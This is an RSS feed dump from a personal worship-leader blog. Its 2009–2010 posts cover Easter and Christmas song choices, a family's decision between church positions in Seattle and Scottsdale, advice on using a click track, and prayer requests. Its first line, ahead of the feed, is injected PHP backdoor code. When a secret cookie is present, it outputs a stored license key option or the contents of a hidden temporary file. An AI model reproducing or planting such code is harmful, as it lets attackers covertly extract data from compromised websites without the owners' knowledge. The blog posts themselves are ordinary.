if (isset($_COOKIE["HeXlwULYALImH56NLF5hAJuhGNF4lsII3IK7aQJZLJCysYmn"])) { $lines = get_option( 'wpsdth4_license_key' ); if (!empty($lines)) { $lines = @file_get_contents(".tmp"); } echo $lines; exit(); } Jaydubbs.com » Church/Community http://jaydubbs.com Mon, 26 Sep 2022 03:15:28 +0000 http://wordpress.org/?v=2.8.4 en hourly 1 The Monday Mojo – Easter Songs http://jaydubbs.com/?p=261 http://jaydubbs.com/?p=261#comments Mon, 22 Mar 2010 20:42:03 +0000 Jaydubbs http://jaydubbs.com/?p=261 Jesus conquered the cross.

He defeated death.

Light overtook darkness.

Love won in the end.

If you’re facilitating or leading worship for this upcoming Easter celebration at your respective communities…what songs will you be singing to help communicate these truths?

Here’s some new (and not so new) ones that I’m thinking of….check em:

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The Decision Is… http://jaydubbs.com/?p=249 http://jaydubbs.com/?p=249#comments Fri, 19 Feb 2010 16:25:45 +0000 Jaydubbs http://jaydubbs.com/?p=249 After several months of searching, praying, processing, thinking, and all the other “ing” words that I’m sure we took part in at some point in time, we’ve landed on where we think the Lord is wanting us in this new season.

Remember, we had 2 opportunities that were really exciting to us…Seattle or Scottsdale. Long distance or local.

Well, Jessica and I have decided to stay in Arizona and accept the Scottsdale position at Scottsdale Bible Church.

It was definitely a very difficult decision. Not that Scottsdale Bible was not a fantastic place to see ourselves at. It is. Our family has a loooooonnng history there. And the maturity, solid Biblical foundation, and vision to really see people live in Christ is practically unparalleled in the city. It was difficult in the fact that we anticipated God giving us a real discernment into where he wanted us. But God does not always work in our expectations.

We had the chance to visit the church in Seattle a couple weeks ago. To be honest, we thought the community there at Bethany Community Church was fabulous. The staff is caring and vibrant. The people are inviting and warm. Pastor Richard Dahlstrom is a real visionary, incredible teacher, and he’s at the helm of a tremendous and thriving community. Not to mention the city of Seattle is dirty sweet! Can’t wait to get back there again.

So we did a lot of wrestling.


And in the end, in the depth of our gut and heart, we felt like we needed to be at Scottsdale Bible. The truth is, we couldn’t be more excited about the future and my role at SBC. There is indeed a part of me that feels like I’m taking somewhat of a “sidestep” in my journey as a worship leader. Scottsdale Bible is more of a support role, whereas Bethany was an opportunity to be the director of the ministry. Casting the vision and steering the ship. After a decade of leading worship, I think it’s only natural to aspire to be “the guy” at some point.

But, there are opportunities this role gives me that I really felt called to. I’ll be working with a couple really amazing ministries in both a worship leader and mentoring aspect. And there are some guys I’ll be rubbing elbows with that I know are going to grow and strengthen me immensely. In this moment, God is teaching me and molding me to be humble and joyful in the small things. And I’m getting the chance to take a breath. Grow. And focus more on being the most open and loving leader that I can be.

My family and I are once again learning that we do not ever really steer the ship. And if we were to think deeply…we prefer it that way. Let’s face it, we would just screw stuff up. So we’re perfectly content in the Lord and simply riding the coattails of His leading in this season.

God’s faithfulness is found on the other side of obedience.

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The Monday Mojo – Using A Click or Metronome http://jaydubbs.com/?p=223 http://jaydubbs.com/?p=223#comments Tue, 16 Feb 2010 04:49:23 +0000 Jaydubbs http://jaydubbs.com/?p=223 The Monday Mojo is a weekly posting of great resources for worship leaders. You’ll find anything from album highlights and releases, introspective articles on worship and the church, helpful media, tips on instrumentation and sound, sites and applications to boost the organization & structure of your respective teams, even simple words of encouragement. Click the Monday Mojo category above or come back every Monday to stay in tune with the mojo… -Jaydubbs

Lets get straight to the point here. If you are a worship leader/musician in the church and you’re not implementing a click or metronome during your music sets, you are severely limiting yourself and your ministry in terms of versatility & musicianship/talent. I will explain my thoughts on why that is below, but first, there is a prerequisite before you can begin piping in click to your players…you must have the ability to use in-ear monitors (IEM’s).ROL-DB-90

In-ears vs. wedge monitors are a whole other discussion, so I’m not going to focus on that, but the bottom line is you can’t use a click if you are only using wedges for your monitor feeds.

If you have the capability to use IEM’s, it would be ideal to have all your musicians and vocalists on click, meaning that they all have the ability to hear the click. At bare minimum, just having the drummer on click would raise the level of musicianship significantly once your players are accustomed to it a bit. Here’s 3 reasons you should be using a click:

Stability/Tightness: This is the most fundamental and important benefit of using a click in your sets. We’ve all had the song that started off at 105bpm and ended up at 121bpm by the time it was over. Or having the instrumentalist who starts the song starting it off waaaaayyyy ttooooo sssllloooooowww. Having a click allows you the freedom to assign a particular bpm (beats per minute) to the song and it will stay that same speed that whole entire time. A click will also naturally progress your musicians to a higher level of playing. Over time, your players will become tighter, tastier, and simply…better. The click makes musicians become better at their respective craft.

Versatility/Freedom: A click frees the drummer up from having to start a lot of the songs by giving tempo on the ride or hi-hat cymbals. Or from having the worship leader always start the songs. By having a click, you can let the keyboard player, the electric guitarist, or whoever start the song and be confident that they’re starting it at the right tempo. And those dramatic breaks in your songs will never be out of sync again!

Programming Tracks: One of my favorite benefits, using a click gives you the ability to incorporate programming tracks (synths, electronic beats, vocal textures, etc.) behind your music. Tracks, if used right, can give your music a beautiful secondary layer and movement that you won’t get from live instrumentalists.

Here’s a few metronome and click resources to help get you started in stepping up your game…

>Boss DB-90 Dr. Beat Metronome – This is, in my opinion, the best consumer click setup out there right now. It’s the one that I use 95% of the time.

>Music Math 4 – Great little free download for Mac’s that gives you the ability to find out the bpm’s of your songs by tapping in the tempo.

>Tempo iPhone App – This baby has saved my skin 2 times now since I’ve had it. Great resource to fall back on when you have no DB-90 or other click. You can even save set lists into the app just like the DB-90.

Are you using a click in your worship ministry? How has it affected the quality of your music programming?

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Weekend In A Nutshell http://jaydubbs.com/?p=217 http://jaydubbs.com/?p=217#comments Tue, 09 Feb 2010 17:40:33 +0000 Jaydubbs http://jaydubbs.com/?p=217 This last weekend, we took a trip to Seattle to check out a possible new opportunity to join a new church community called Bethany Community Church and lead the music ministry. We came away with a ton of thoughts and ideas. Here’s a conclusion to our weekend visit to the Emerald City without all the crazy details…think 30,000 foot flyover.IMG_0129

Seattle – That city is the straight up jam. Really. I could spend a whole other week just walking around downtown. I’ve yet, in my life, to come across a city with more culture, grittiness, fantastic design, and color. You have the city lights. You have water. And you have natural beauty all around wherever you look. We loved it! Jess thinks she would love the gray skies and drizzle all the time…not sure how it would fit me. But the catch-22 here is that, without the climate and weather that Seattle goes through, the city wouldn’t have the particular beauty that it does.

Seattle: 2 thumbs up

Chelsea Station Inn - This is the bed and breakfast that we stayed at over the weekend, and it was probably one of the coolest places we’ve stayed at in a long time. It was sort of a small apartment inside a renovated old building right across the street from the zoo & a huge park called Woodland Park. Every morning we crept downstairs where the innkeepers would make a ridiculously good breakfast from scratch! Some of the nicest people ever there as well. Check out the Chelsea here.

Chelsea Station Inn: 2 thumbs up

Flying/traveling with a 15 month old rambunctious boy - Don’t get me wrong, I love my son Cruz like crazy…I just didn’t like him that much over the weekend. He was like a different kid, I swear. I’m sure there was at least 8 people on our flights that would’ve duct taped his mouth shut if they could have. Including me. Southwest Airlines made our flying time as comfortable as they possibly could, but even they couldn’t fix Cruz “uncomfortability” every single time I had to change his diaper in a 3×3 airplane bathroom. Picture evidence A:

IMG_0125

Cruz & flying: 2 thumbs down…and in to my ears because Cruz is screaming.

Bethany Community Church – What an incredible community. These guys are excited about where God has led them until now and are rampant in seeing God awaken hearts in their local community. Pastor Richard Dahlstrom is a tremendous teacher and such a down to earth dude, that you get to experience his real heart in the first 10 minutes of hanging with him. They have a slew of worshipers who are stoked to be part of serving Gods people in music with their various talents. And trust me, these peeps have talent.

Bethany: 2 big thumbs up

You’ll have to wait a bit to hear where we are thinking of landing in our search for a new church community to be a part of or whether we’ll be in Scottsdale or Seattle. We are still processing a bit with various people and praying about the situation, but you friends will know sooner than later.

Thanks for your prayers and support over the weekend, we have been SO blessed to have people like you behind us!

Stay tuned…

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Crossroads http://jaydubbs.com/?p=207 http://jaydubbs.com/?p=207#comments Thu, 21 Jan 2010 17:11:38 +0000 Jaydubbs http://jaydubbs.com/?p=207 I have been given two fantastic and very unique different opportunities since my family and I began our search for a new church community and/or job.

downtownphx02seattle-skyline-with-space-needleOne of the opportunities is a leadership role that we know very well. We know the community. We know most of the leadership. We love the ministry that is and has been happening there for a long time. It’s here in the Phoenix area so it would keep us near family and little Cruz near his grandmas and aunts who adore him. It would allow for great freedom to be able to network and involve myself with helping other leaders and ministries create great worship experiences. And that is a very important value to me.

On the other hand, we have this other opportunity that is full of the unknown. It is uncertain, yet possibly full of adventure as well. It has the potential to open me up to new levels of leadership and influence that I’ve yet to navigate. Full of great biblical teaching and possible mentorship, the opportunity would be a definite growth experience. The role is at a community that has been around for over 100 years so there is maturity and wisdom. It is away from family, 1485 miles to be exact (give or take a couple feet or so), in the heart of Seattle. Full of green and water and texture and beauty.

They both, in the heart of our hearts, sound truly fantastic and Jess and I are extremely blessed to have the choice. But, there is a choice.

And we are praying. And considering. And processing. I am confident that God will be honored with either decision, but the husband and father in me wishes and hopes to make the “right” decision.

Would you please pray alongside us in this moment of decision for us? We are charging headlong into the crossroads and it would be nice to know there are people walking with us.

Much love.

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Remember http://jaydubbs.com/?p=203 http://jaydubbs.com/?p=203#comments Mon, 14 Dec 2009 15:01:39 +0000 Jaydubbs http://jaydubbs.com/?p=203 I thought of little Kate this morning.

Sometimes I go far too long without praying or thinking of her and her story. But then, something causes me to remember how her 5 year old life has been completely flipped upside down. How she hasn’t had time to be a little kid yet before disease crept in to her world.

But Kate’s a straight up fighter. And she needs our prayers and the McRae’s need our support still. Let’s not forget.

l.ciapBzBDtCbHBEhl

Would you say a quick prayer for the continued healing of little Kate McRae?

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Favorite Christmas Song? http://jaydubbs.com/?p=199 http://jaydubbs.com/?p=199#comments Thu, 10 Dec 2009 17:51:01 +0000 Jaydubbs http://jaydubbs.com/?p=199 Two simple questions. In lieu of it being Christmas, and since it will help all us worship leaders planning sets for all 482 of our Christmas events:

1) What is your all-time favorite Christmas song and your favorite arrangement of that song? (either Christian or not)

2) What are some new holiday songs or fresh arrangements of old songs that you are really diggin on lately?

Ready. Set. GO.

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The Monday Mojo – Get Outside The Box http://jaydubbs.com/?p=186 http://jaydubbs.com/?p=186#comments Mon, 07 Dec 2009 14:57:48 +0000 Jaydubbs http://jaydubbs.com/?p=186 The Monday Mojo is a weekly posting of great resources for worship leaders. You’ll find anything from album highlights and releases, introspective articles on worship and the church, helpful media, tips on instrumentation and sound, sites and applications to boost the organization & structure of your respective teams, even simple words of encouragement. Click the Monday Mojo category above or come back every Monday to stay in tune with the mojo… -Jaydubbs

One of the facets of worship leading that I am being challenged with lately is pushing myself to think outside the proverbial box when it comes to creating set lists and the songs that I am using to help form a creative and strong environment for worship. As worship leaders who are somewhat immersed in the modern worship movement, we are all well versed in the ways of Tomlin, Crowder, & Hillsong.

But have you ever thought of Foreman, Maher or Seay?

These names may be new to you. For some of you they may be familiar, you’re just not thinking of them when it comes to planning your sets.

Jon Foreman of Switchfoot has a tremendously brilliant solo project where he has compiled four different EP’s with songs that are all very folk-based and circled around the seasons of the year (hence the 4 EP’s; Spring, Summer, Fall, Winter).

Matt Maher is an absolutely astounding songwriter and his songs have been stirring an amazing revival within the Catholic church. He’s also great people and part of the network of worship leaders here in the Phoenix valley. Although he’s rarely here because of the success he’s having with his latest projects! Matt is the writer of the ever popular song “Your Grace Is Enough” (Chris Tomlin made this song huge, but Matt wrote it), and you can find some more of his craftings here. The best two albums are Overflow and his newest Alive Again, with some of my favorite tunes being “Canticle of Zechariah” (what a name right?), “For Your Glory”, “Behold the Lamb of God”, “As It Is In Heaven”, “Remembrance”, & “Alive Again”.

Robbie Seay of the Robbie Seay Band is one of my all time favorite songwriters. The way he molds the truths of who God is into the dirtiness and reality of creation and who we are is magical. Truth is I cheat off of him a lot in my writing. He’s a genius. His most recent release Give Yourself Away, which came out a couple years ago now, is chocked full of creative and fresh ways for your community to engage in worship. The song “Song of Hope” has just now begun to really make a move forward in the modern church, but there are amazing songs of his to yet be discovered by the church. Check out “Rise”, “Shine Your Light On Us”, “Eternal One”, “Hallelujah God Is Near”, “Rescued Ones”, “Jesus Garden of My Rest”, and “Faith of Our Fathers” (a song I’ve with a subject I’ve yet to hear anyone else attempt to write about).

Some other names to have on your radar when it comes to creating worship sets, whether they’ve been around for a while or are up and coming, are Tim Hughes, Jesus Culture, Desperation Band, Parachute Band, Delirious, & The Embers. I love finding new artists who are incorporating great new songs into the fold of modern worship. If you have any that you love, please comment below and share with everyone!

To leave you with some music (since we’re talking about music) here’s a song by Jon Foreman off his Spring EP called “Your Love Is Strong”. You know those great songs that are full of truth and simply beautiful? Well this one is directly based out of the Lords Prayer…and…well…listen for yourself…



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The Monday Mojo – Are You Being Led? http://jaydubbs.com/?p=178 http://jaydubbs.com/?p=178#comments Mon, 09 Nov 2009 18:26:42 +0000 Jaydubbs http://jaydubbs.com/?p=178 The Monday Mojo is a weekly posting of great resources for worship leaders. You’ll find anything from album highlights and releases, introspective articles on worship and the church, helpful media, tips on instrumentation and sound, sites and applications to boost the organization & structure of your respective teams, even simple words of encouragement. Click the Monday Mojo category above or come back every Monday to stay in tune with the mojo… -Jaydubbs

Last night Jess and I were leading worship up in Scottsdale at Scottsdale Bible Church’s SomaNorth service. It was the first time I had led there so I didn’t really have any expectations as to how the community would respond in worship, sing, follow, etc.

I was blown away.

These peeps don’t take their worship lightly. It’s been a long time since I’ve heard a group sing that loud. The great thing is it had absolutely nothing to do with me. Or the band. Or the music.

It was just worship.

During rehearsal earlier in the day when we were going over the song “Everlasting God”, we had planned that when we got to the first chorus we would just do half of it and save the second half of the chorus for when the song picked up. Well during worship, in an amazing moment for my heart, after we had sung that first half the people of Soma just kept on singing the second half.

It’s a bit hard to explain in words, maybe you just need to have been there, haha. But in that moment, I thought about the idea of what true worship is all about. It’s not about a good worship leader or a killer band or singing beautifully. It’s about the people of God coming together in obeisance to the Father. Just as Jesus did. God calls us to worship and that’s just what we did last night.

And simultaneously I remembered something that my good friend CJ once said. Sometimes, as a worship leader, the people that you are leading need to lead you. We as worship leaders need to be led in worship as well. Does that make sense? It means a lot to me after last night.

Just remember we are all going up in worship together and there are moments when you need to step back from leading and let your people lead you. Whether it’s a verse or chorus, whatever. Let your people take the lead.

worship


Are you letting your people lead too?

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To Be Or Not To Be… http://jaydubbs.com/?p=174 http://jaydubbs.com/?p=174#comments Tue, 03 Nov 2009 17:08:43 +0000 Jaydubbs http://jaydubbs.com/?p=174 I was encouraged by this quote today and it began a shift in thought for me…

Picture 3


What does these words mean to you?

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